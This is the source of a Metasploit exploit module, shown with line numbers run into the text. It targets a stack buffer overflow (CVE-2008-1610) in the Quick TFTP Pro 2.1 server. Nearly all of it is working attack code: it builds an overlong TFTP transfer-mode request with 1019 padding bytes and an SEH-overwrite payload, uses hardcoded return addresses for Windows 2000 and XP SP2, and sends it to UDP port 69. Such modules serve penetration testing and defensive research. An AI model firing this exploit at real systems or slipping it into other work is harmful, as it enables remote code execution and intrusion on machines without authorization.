Path: blob/master/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the Quick TFTP Pro server18product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting19in a DoS. This is a port of a sploit by Mati "muts" Aharoni.20},21'Author' => 'Saint Patrick',22'References' => [23['CVE', '2008-1610'],24['OSVDB', '43784'],25['BID', '28459'],26['URL', 'http://web.archive.org/web/20080330000001/http://secunia.com:80/advisories/29494/'],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 460,33'BadChars' => "\x00\x20\x0a\x0d",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38['Windows Server 2000', { 'Ret' => 0x75022AC4 } ], # ws2help.dll39['Windows XP SP2', { 'Ret' => 0x74D31458 } ], # oledlg.dll40],41'DefaultTarget' => 1,42'DisclosureDate' => '2008-03-27',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53Opt::RPORT(69)54]55)56end5758def exploit59connect_udp6061print_status("Trying target #{target.name}...")6263sploit = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"64sploit += "A" * 101965seh = generate_seh_payload(target.ret)66sploit += seh67sploit += "\x00"6869udp_sock.put(sploit)70print_status("Done.")7172handler73disconnect_udp74end75end767778